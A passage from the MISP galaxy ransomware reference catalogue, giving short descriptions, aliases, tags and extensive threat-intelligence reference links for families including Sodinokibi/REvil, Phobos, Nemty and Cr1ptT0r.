BlackWorm Ransomware is a malicious computer infection that encrypts your files, and then does everything it can to prevent you from restoring them. It needs you to pay $200 for the decryption key, but there is no guarantee that the people behind this infection would really issue the decryption tool for you.

The tag is: *misp-galaxy:ransomware="BlackWorm"*

Table 13567. Table References

Links
https://spyware-techie.com/blackworm-ransomware-removal-guide

Tellyouthepass

Tellyouthepass is a ransomware that alters system files, registry entries and encodes personal photos, documents, and servers or archives. Army-grade encryption algorithms get used to change the original code of the file and make the data useless.

The tag is: *misp-galaxy:ransomware="Tellyouthepass"*

Table 13568. Table References

Links
https://malware.wikia.org/wiki/Tellyouthepass

BigBobRoss

BigBobRoss ransomware is the cryptovirus that requires a ransom in Bitcoin to return encrypted

files marked with .obfuscated appendix.

The tag is: *misp-galaxy:ransomware="BigBobRoss"*

Table 13569. Table References

Links
https://www.2-spyware.com/remove-bigbobross-ransomware.html

Planetary

First discovered by malware security analyst, Lawrence Abrams, PLANETARY is an updated variant of another high-risk ransomware called HC7.

The tag is: *misp-galaxy:ransomware="Planetary"*

Table 13570. Table References

Links
https://www.pcrisk.com/removal-guides/12121-planetary-ransomware

Cr1ptT0r

Cr1ptT0r Ransomware Targets NAS Devices with Old Firmware.

The tag is: *misp-galaxy:ransomware="Cr1ptT0r"*

Cr1ptT0r is also known as:

- Criptt0r
- Cr1pt0r
- Cripttor

Table 13571. Table References

Links
https://www.coveware.com/blog/2019/3/13/cr1ptt0r-ransomware-targets-nas-devices-with-old-firmware
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r

Sodinokibi

Attackers are actively exploiting a recently disclosed vulnerability in Oracle WebLogic to install a new variant of ransomware called "Sodinokibi." Sodinokibi attempts to encrypt data in a user's directory and delete shadow copy backups to make data recovery more difficult. Oracle first patched the issue on April 26, outside of their normal patch cycle, and assigned it CVE-2019-2725. This vulnerability is easy for attackers to exploit, as anyone with HTTP access to the WebLogic server could carry out an attack. Because of this, the bug has a CVSS score of 9.8/10. Attackers have

been making use of this exploit in the wild since at least April 17. Cisco's Incident Response (IR) team, along with Cisco Talos, are actively investigating these attacks and Sodinokibi.

The tag is: *misp-galaxy:ransomware="Sodinokibi"*

Sodinokibi is also known as:

- REvil
- Revil

Table 13572. Table References

Links
https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html
https://www.zdnet.com/article/revil-ransomware-group-resurfaces-after-brief-hiatus
https://www.macrumors.com/2021/04/26/revil-delists-stolen-apple-schematics-threat
https://www.theverge.com/2021/7/22/22589643/ransomware-kaseya-vsa-decryptor-revil
http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html
https://analyst1.com/file-assets/History-of-REvil.pdf
https://angle.ankura.com/post/102hcny/revix-linux-ransomware
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version
https://cybleinc.com/2021/07/03/uncensored-interview-with-revil-sodinokibi-ransomware-operators/
https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021
https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf
https://github.com/f0wl/REconfig-linux
https://home.treasury.gov/news/press-releases/jy0471
https://ke-la.com/will-the-revils-story-finally-be-over/
https://krebsonsecurity.com/2021/11/revil-ransom-arrest-6m-seizure-and-10m-reward/
https://malienist.medium.com/revix-linux-ransomware-d736956150d0
https://otx.alienvault.com/pulse/60da2c80aa5400db8f1561d5
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo
https://storage.courtlistener.com/recap/gov.uscourts.txnd.351760/gov.uscourts.txnd.351760.1.0_3.pdf
https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf

https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/

https://threatpost.com/linux-variant-ransomware-vmwares-nas/167511/

https://threatpost.com/ransomware-revil-sites-disappears/167745/

https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20

https://twitter.com/IntezerLabs/status/1452980772953071619

https://twitter.com/VK_Intel/status/1409601311092490248

https://twitter.com/VK_Intel/status/1409601311092490248?s=20

https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa

https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom

https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil

https://www.bbc.com/news/technology-59297187

https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/

https://www.br.de/nachrichten/deutschland-welt/mutmasslicher-ransomware-millionaer-identifiziert,Sn3iHgJ

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/

https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/

https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend

https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/

https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/

https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide

https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment

https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin

https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf

https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/

https://www.flashpoint-intel.com/blog/revil-disappears-again/

https://www.justice.gov/opa/pr/ukrainian-arrested-and-charged-ransomware-attack-kaseya

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/

https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released

https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html

https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil

https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf

https://www.youtube.com/watch?v=mDUMpYAOMOo

https://www.youtube.com/watch?v=ptbNMlWxYnE

http://www.secureworks.com/research/threat-profiles/gold-southfield

https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf

https://asec.ahnlab.com/ko/19640/

https://asec.ahnlab.com/ko/19860/

https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/

https://blag.nullteilerfrei.de/2019/11/09/api-hashing-why-and-how/

https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/

https://blog.amossys.fr/sodinokibi-malware-analysis.html

https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/

https://blog.group-ib.com/REvil_RaaS

https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/

https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/

https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack

https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html

https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/

https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html

https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/

https://blog.truesec.com/2021/07/06/kaseya-vsa-zero-day-exploit

https://blogs.blackberry.com/en/2021/05/threat-thursday-dr-revil-ransomware-strikes-again-employs-double-extortion-tactics

https://blogs.blackberry.com/en/2021/11/revil-under-the-microscope

https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://community.riskiq.com/article/3315064b

https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf

https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b

https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf

https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view

https://f.hubspotusercontent10.net/hubfs/5943619/Whitepaper-Downloads/Ransomware_in_ICS_Environments_Whitepaper_10_12_20.pdf

https://f.hubspotusercontent10.net/hubfs/7095517/FLINT-Kaseya-Another%20Massive%20Heist%20by%20REvil.pdf

https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2bbc566cbee2dac7b143dc143c1913ddb729/revil.json

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://hatching.io/blog/ransomware-part2

https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf

https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf

https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89

https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf

https://intel471.com/blog/changes-in-revil-ransomware-version-2-2

https://isc.sans.edu/diary/27012

https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf

https://kaseya.app.box.com/s/0ysvgss7w48nxh8k1xt7fqhbcjxhas40

https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/

https://ke-la.com/easy-way-in-5-ransomware-victims-had-their-pulse-secure-vpn-credentials-leaked/

https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/

https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/

https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/

https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/

https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://medium.com/@underthebreach/tracking-down-revils-lalartu-by-utilizing-multiple-osint-methods-2bf3a6c65a80

https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317

https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f

https://news.sophos.com/en-us/2021/06/11/relentless-revil-revealed/

https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/

https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/

https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/

https://public.intel471.com/blog/revil-ransomware-interview-russian-osint-100-million/

https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2022-05-01-revil-reborn-ransom.vk.cfg.txt

https://redcanary.com/blog/uncompromised-kaseya/

https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/

https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf

https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process

https://securelist.com/ransomware-world-in-2021/102169/

https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/

https://securelist.com/sodin-ransomware/91473/

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/

https://securityaffairs.co/wordpress/98694/malware/sodinokibi-kenneth-cole-data-breach.html

https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/

https://securityintelligence.com/posts/sodinokibi-revil-ransomware-disrupt-trade-secrets/

https://securityscorecard.com/research/a-detailed-analysis-of-the-last-version-of-revil-ransomware

https://sites.temple.edu/care/ci-rw-attacks/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sodinokibi-ransomware-cobalt-strike-pos

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/

https://teamt5.org/tw/posts/revil-dll-sideloading-technique-used-by-other-hackers/

https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/

https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/

https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html

https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/

https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/

https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/

https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/

https://threatintel.blog/OPBlueRaven-Part1/

https://twitter.com/Jacob_Pimental/status/1391055792774729728

https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20

https://twitter.com/LloydLabs/status/1411098844209819648

https://twitter.com/R3MRUM/status/1412064882623713283

https://twitter.com/SophosLabs/status/1412056467201462276

https://twitter.com/SophosLabs/status/1413616952313004040?s=20

https://twitter.com/SyscallE/status/1411074271875670022

https://twitter.com/VK_Intel/status/1374571480370061312?s=20

https://twitter.com/VK_Intel/status/1411066870350942213

https://twitter.com/*alex_il*/status/1412403420217159694

https://twitter.com/fwosar/status/1411281334870368260

https://twitter.com/fwosar/status/1420119812815138824

https://twitter.com/resecurity_com/status/1412662343796813827

https://twitter.com/svch0st/status/1411537562380816384

https://unit42.paloaltonetworks.com/prometheus-ransomware/

https://unit42.paloaltonetworks.com/revil-threat-actors/

https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/

https://us-cert.cisa.gov/ncas/alerts/aa20-345a

https://velzart.nl/blog/ransomeware/

https://vimeo.com/449849549

https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/

https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities

https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs

https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights

https://www.advanced-intel.com/post/revil-vanishes-from-underground-infrastructure-down-support-staff-adverts-silent

https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel

https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom

https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf

https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/

https://www.bleepingcomputer.com/news/security/another-ransomware-will-now-publish-victims-data-if-not-paid/

https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/

https://www.bleepingcomputer.com/news/security/kaseya-obtains-universal-decryptor-for-revil-ransomware-victims/

https://www.bleepingcomputer.com/news/security/kaseyas-universal-revil-decryption-key-leaked-on-a-hacking-forum/

https://www.bleepingcomputer.com/news/security/new-jersey-synagogue-suffers-sodinokibi-ransomware-attack/

https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/

https://www.bleepingcomputer.com/news/security/ransomware-threatens-to-reveal-companys-dirty-secrets/

https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/

https://www.bleepingcomputer.com/news/security/revil-ransomware-devs-added-a-backdoor-to-cheat-affiliates/

https://www.bleepingcomputer.com/news/security/revil-ransomware-gang-claims-over-100-million-profit-in-a-year/

https://www.bleepingcomputer.com/news/security/revil-ransomware-gangs-web-sites-mysteriously-shut-down/

https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/

https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-1-000-plus-companies-in-msp-supply-chain-attack/

https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-managedcom-hosting-provider-500k-ransom/

https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/

https://www.bleepingcomputer.com/news/security/revil-ransomwares-servers-mysteriously-come-back-online/

https://www.bleepingcomputer.com/news/security/revils-tor-sites-come-alive-to-redirect-to-new-ransomware-operation/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-new-york-airport-systems/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-travelex-demands-3-million/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-may-tip-nasdaq-on-attacks-to-hurt-stock-prices/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-says-travelex-will-pay-one-way-or-another/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/

https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/

https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/

https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf

https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?blob=publicationFile&v=2

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf

https://www.certego.net/en/news/malware-tales-sodinokibi/

https://www.cnbc.com/2021/04/23/axis-of-revil-inside-the-hacker-collective-taunting-apple.html

https://www.connectwise.com/resources/revil-profile

https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/

https://www.crowdstrike.com/blog/how-crowdstrike-stops-revil-ransomware-from-kaseya-attack/

https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/

https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/

https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/

https://www.cybereason.com/blog/cybereason-vs-revil-ransomware-the-kaseya-chronicles

https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/

https://www.cyjax.com/2021/07/09/revilevolution/

https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/

https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/

https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/

https://www.documentcloud.org/documents/21505031-hgsac-staff-report-americas-data-held-hostage-032422

https://www.domaintools.com/resources/blog/revealing-revil-ransomware-with-domaintools-and-maltego

https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&utm_medium=social&utm_source=twitter

https://www.elastic.co/blog/ransomware-interrupted-sodinokibi-and-the-supply-chain

https://www.europol.europa.eu/newsroom/news/five-affiliates-to-sodinokibi/revil-unplugged

https://www.flashpoint-intel.com/blog/chatter-indicates-blackmatter-as-revil-successor/

https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/

https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/

https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/

https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/

https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions

https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis

https://www.grahamcluley.com/travelex-paid-ransom/

https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/

https://www.hsgac.senate.gov/media/minority-media/new-portman-report-demonstrates-threat-ransomware-presents-to-the-united-states

https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox

https://www.huntandhackett.com/blog/revil-the-usage-of-legitimate-remote-admin-tooling

https://www.huntress.com/blog/security-researchers-hunt-to-discover-origins-of-the-kaseya-vsa-mass-ransomware-incident

https://www.ironnet.com/blog/ransomware-graphic-blog

https://www.justice.gov/opa/pr/sodinokibirevil-ransomware-defendant-extradited-united-states-and-arraigned-texas

https://www.kaseya.com/potential-attack-on-kaseya-vsa/

https://www.kpn.com/security-blogs/Tracking-REvil.htm

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/

https://www.netskope.com/blog/netskope-threat-coverage-revil

https://www.nytimes.com/2019/08/22/us/ransomware-attacks-hacking.html

https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf

https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/

https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/

https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence?linkId=164334801

https://www.secureworks.com/blog/revil-the-gandcrab-connection

https://www.secureworks.com/research/lv-ransomware

https://www.secureworks.com/research/revil-sodinokibi-ransomware

https://www.secureworks.com/research/threat-profiles/gold-southfield

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html

https://www.splunk.com/en_us/blog/security/revil-ransomware-threat-research-update-and-detections.html

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf

https://www.tgsoft.it/english/news_archivio_eng.asp?id=1004

https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html

https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html

https://www.trendmicro.com/en_us/research/21/h/supply-chain-attacks-from-a-managed-detection-and-response-persp.html

https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/diving-deeper-into-the-kaseya-vsa-attack-revil-returns-and-other-hackers-are-riding-their-coattails/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/undressing-the-revil/
https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://www.youtube.com/watch?v=P8o6GItci5w
https://www.youtube.com/watch?v=QYQQUUpU04s
https://www.youtube.com/watch?v=l2P5CMH9TE0
https://www.youtube.com/watch?v=tZVFMVm5GAk
https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/
https://www.zdnet.com/article/revil-ransomware-gang-launches-auction-site-to-sell-stolen-data/
https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload
https://www.ransomlook.io/group/revil

Phobos

Phobos exploits open or poorly secured RDP ports to sneak inside networks and execute a ransomware attack, encrypting files and demanding a ransom be paid in bitcoin for returning the files, which in this case are locked with a .phobos extension.

The tag is: *misp-galaxy:ransomware="Phobos"*

Phobos is also known as:

- Java NotDharma

Table 13573. Table References

Links
https://www.zdnet.com/article/new-phobos-ransomware-exploits-weak-security-to-hit-targets-around-the-world/
https://www.ransomlook.io/group/phobos

GetCrypt

A new ransomware is in the dark market which encrypts all the files on the device and redirects victims to the RIG exploit kit.

The tag is: *misp-galaxy:ransomware="GetCrypt"*

Table 13574. Table References

Links
https://www.ehackingnews.com/2019/05/getcrypt-ransomware-modus-operandi-and.html

Nemty

A new ransomware family dubbed “Nemty” for the extension it adds to encrypted files has recently surfaced in the wild. According to a report from Bleeping Computer, New York-based reverse engineer Vitali Kremez posits that Nemty is possibly delivered through exposed remote desktop connections.

The tag is: *misp-galaxy:ransomware="Nemty"*

View relationships graph

Nemty has relationships with:

- related-to: misp-galaxy:ransomware="Nefilim" with estimative-language:likelihood-probability="likely"

Table 13575. Table References

Links
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/nemty-ransomware-possibly-spreads-through-exposed-remote-desktop-connections
http://www.secureworks.com/research/threat-profiles/gold-mansard
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://labs.sentinelone.com/meet-nemty-successor-nefilim-nephilim-ransomware/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://medium.com/csis-techblog/the-nemty-affiliate-model-13f5cf7ab66b
https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-08-24-nemty-ransomware-notes.vk.raw
https://securelist.com/evolution-of-jsworm-ransomware/102428/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet

https://www.bleepingcomputer.com/news/security/fake-paypal-site-spreads-nemty-ransomware/
https://www.bleepingcomputer.com/news/security/nemty-ransomware-decryptor-released-recover-files-for-free/
https://www.bleepingcomputer.com/news/security/nemty-ransomware-gets-distribution-from-rig-exploit-kit/
https://www.bleepingcomputer.com/news/security/new-nemty-ransomware-may-spread-via-compromised-rdp-connections/
